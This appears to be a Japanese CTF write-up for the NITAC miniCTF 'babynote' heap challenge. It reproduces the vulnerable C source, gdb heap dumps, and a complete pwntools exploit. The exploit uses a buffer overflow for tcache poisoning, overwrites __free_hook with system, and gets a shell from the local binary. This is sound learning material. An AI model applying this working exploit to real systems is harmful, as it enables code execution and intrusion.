NITAC miniCTF 3rd babynote を勉強した記録

NITAC miniCTF 3rd babynote #nitac_mini_ctf

基本的なヒープ問題で，初心者に優しい問題設計です。
NITAC miniCTFは，学生と教員専用と思っていたのですが，一般も参加できる回があったのね。
メンバー登録したから，次回からは参加しますよ。

# 問題入手先

https://github.com/nitaclt/nitac-minictf-3rd/tree/master/conf/problems/Binary_babynote/distfiles

入手できるファイル

```
babynote
babynote.c
libc-2.27.so
```

上記サイトで入手した libc-2.27.so では pwntools がうまく動かなかったので，以前ダウンロードしていたWaniCTF 2020のものに変えたら動いた。
なんでだろ？


```c:babynote.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#define NOTE_NUM 8
#define SIZE_NOTE 0x90

char *noteList[NOTE_NUM];

__attribute__((constructor)) void setup(void) {
  int i;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  alarm(60);
  for(i = 0; i < NOTE_NUM; i++) noteList[i] = NULL;
}

void readline(char *buf) {
  char *ptr;
  for(ptr = buf; ; ++ptr) {
    if (read(0, ptr, 1) <= 0) exit(0);
    if (*ptr == '\n') break;
  }
}

int read_int(void) {
  char buf[0x20];
  readline(buf);
  return atoi(buf);
}

int menu() {
  puts("1. Create");
  puts("2. Show");
  puts("3. Delete");
  printf("> ");
  return read_int();
}

int find_free_note(void) {
  int i;
  for(i = 0; i < NOTE_NUM; i++) {
    if (noteList[i] == NULL) return i;
  }
  return -1;
}

void new_note(void) {
  int idx = find_free_note();
  if (idx == -1) {
    puts("Notebook is full");
  } else {
    noteList[idx] = (char*)malloc(SIZE_NOTE);
    printf("Contents: ");
    readline(noteList[idx]);
    puts("Written!");
  }
}

void show_note(void) {
  int idx;
  printf("Index: ");
  idx = read_int();
  if (idx < 0 || idx >= NOTE_NUM) {
    puts("Invalid index");
  } else if (noteList[idx] == NULL) {
    puts("Note is empty");
  } else {
    printf("Contents: %s", noteList[idx]);
  }
}

void del_note(void) {
  int idx;
  printf("Index: ");
  idx = read_int();
  if (idx < 0 || idx >= NOTE_NUM) {
    puts("Invalid index");
  } else if (noteList[idx] == NULL) {
    puts("Note is empty");
  } else {
    puts("Deleted!");
    free(noteList[idx]);
    noteList[idx] = NULL;
  }
}

int main(void) {
  printf("HERE IS THE GIFT FOR YOU: %p\n", stdin);
  while(1) {
    switch(menu()) {
    case 1: new_note(); break;
    case 2: show_note(); break;
    case 3: del_note(); break;
    default: puts("Bye!"); return 0;
    }
  }
}
```

readline に制限がなく bof できそうです。
stdin の leak がプレゼントされるようです。

# 動かした感じ

```
# ./babynote
HERE IS THE GIFT FOR YOU: 0x7f8cd7dd7a00
1. Create
2. Show
3. Delete
> 1
Contents: AAA
Written!
1. Create
2. Show
3. Delete
> 1
Contents: BBB
Written!
1. Create
2. Show
3. Delete
> 2
Index: 0
Contents: AAA
1. Create
2. Show
3. Delete
> 2
Index: 1
Contents: BBB
1. Create
2. Show
3. Delete
```

# stdin 初めて

```
# objdump -d -M intel ./libc-2.27.so | less
/ stdin
   21470:       48 8b 15 09 9b 3c 00    mov    rdx,QWORD PTR [rip+0x3c9b09]        # 3eaf80 <_IO_2_1_stdin_@@GLIBC_2.2.5-0xa80>
```

libc 内の stdin のシンボルは，`_IO_2_1_stdin_`　で間違いなさそうだが，objdumpではアドレスがよくわからなかった。

とりあえず，pwntools が何とかしてくれることを信じる

# 作戦

create("AAA")　-->  chunk 0 ができる
create("AAA")  -->　chunk 1 ができる
create("AAA")  -->　chunk 2 ができる 
delete(1)
delete(0)
create("/bin/sh\x00"+"A"*■の次に `__free_hook` のアドレス)

chunk 0 に "/bin/sh\x00"の仕込み
bof で元 chunk 1 の場所に　`__free_hook` のアドレス を
これで tcache　--> 元 chunk 1 --> `__free_hook` となる

２回 malloc すれば ２回目は `__free_hook` にchunkができるのでsystemのアドレスを書き込む
"/bin/sh\x00"を仕込んでおいた chunk 0 を free すれば `__free_hook` が system("/bin/sh")をキックしてくれる

# gdb(+peda+pwngdb)で確認

```
gdb-peda$ x/50xg 0x555555757260
0x555555757260:	0x000000000a414141	0x0000000000000000
0x555555757270:	0x0000000000000000	0x0000000000000000
0x555555757280:	0x0000000000000000	0x0000000000000000
0x555555757290:	0x0000000000000000	0x0000000000000000
0x5555557572a0:	0x0000000000000000	0x0000000000000000
0x5555557572b0:	0x0000000000000000	0x0000000000000000
0x5555557572c0:	0x0000000000000000	0x0000000000000000
0x5555557572d0:	0x0000000000000000	0x0000000000000000
0x5555557572e0:	0x0000000000000000	0x0000000000000000
0x5555557572f0:	0x0000000000000000	0x00000000000000a1
0x555555757300:	0x0000000000000000	0x0000555555757010
0x555555757310:	0x0000000000000000	0x0000000000000000
0x555555757320:	0x0000000000000000	0x0000000000000000
0x555555757330:	0x0000000000000000	0x0000000000000000
0x555555757340:	0x0000000000000000	0x0000000000000000
0x555555757350:	0x0000000000000000	0x0000000000000000
0x555555757360:	0x0000000000000000	0x0000000000000000
0x555555757370:	0x0000000000000000	0x0000000000000000
0x555555757380:	0x0000000000000000	0x0000000000000000
0x555555757390:	0x0000000000000000	0x00000000000000a1
0x5555557573a0:	0x000000000a434343	0x0000000000000000
0x5555557573b0:	0x0000000000000000	0x0000000000000000
0x5555557573c0:	0x0000000000000000	0x0000000000000000
0x5555557573d0:	0x0000000000000000	0x0000000000000000
0x5555557573e0:	0x0000000000000000	0x0000000000000000
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555757430 (size : 0x20bd0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0xa0)   tcache_entry[8](1): 0x555555757300
```

malloc(0x90)の場合，0xa0のチャンクが作成されるようです。

# 実装

```python:babynote.py
# coding: UTF-8

# 明石高専NITAC miniCTF
# https://github.com/nitaclt/nitac-minictf-3rd/tree/master/conf/problems/Binary_babynote/distfiles

from pwn import *
import pwn

#io = remote("heap.wanictf.org", 9008)
io = pwn.process("./babynote")

def create(data):
  io.sendlineafter("> ", "1")
  #io.sendafter("Contents: ", data)
  io.sendlineafter("Contents: ", data)

def show(index):
  io.sendlineafter("> ", "2")
  io.sendlineafter("Index: ", str(index))
  return io.recvline()

def delete(index):
  io.sendlineafter("> ", "3")
  io.sendlineafter("Index: ", str(index))

# leak
io.recvuntil(": ")
addr_stdin = int(io.recvline(), 16)
log.info("stdin = %s" % hex(addr_stdin))

# libc
libc = ELF("libc-2.27.so")
libc_addr = addr_stdin - libc.symbols["_IO_2_1_stdin_"]
log.info("libc = %s" % hex(libc_addr))

# att@ck
create(b"AAA") # AAAは適当
create(b"AAA")
create(b"AAA")
delete(1)
delete(0)
create(b"/bin/sh\x00"+b"A"*0x98+p64(libc_addr + libc.symbols["__free_hook"]))
create(b"AAA")
create(p64(libc_addr + libc.symbols["system"]))
delete(0)

io.interactive()
```

```
# python babynote.py
[+] Starting local process './babynote': pid 2454
[*] stdin = 0x7f4141d7ea00
[*] '/home/xxx/share/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc = 0x7f4141993000
[*] Switching to interactive mode
Deleted!
$ ls
a.out
```

ok!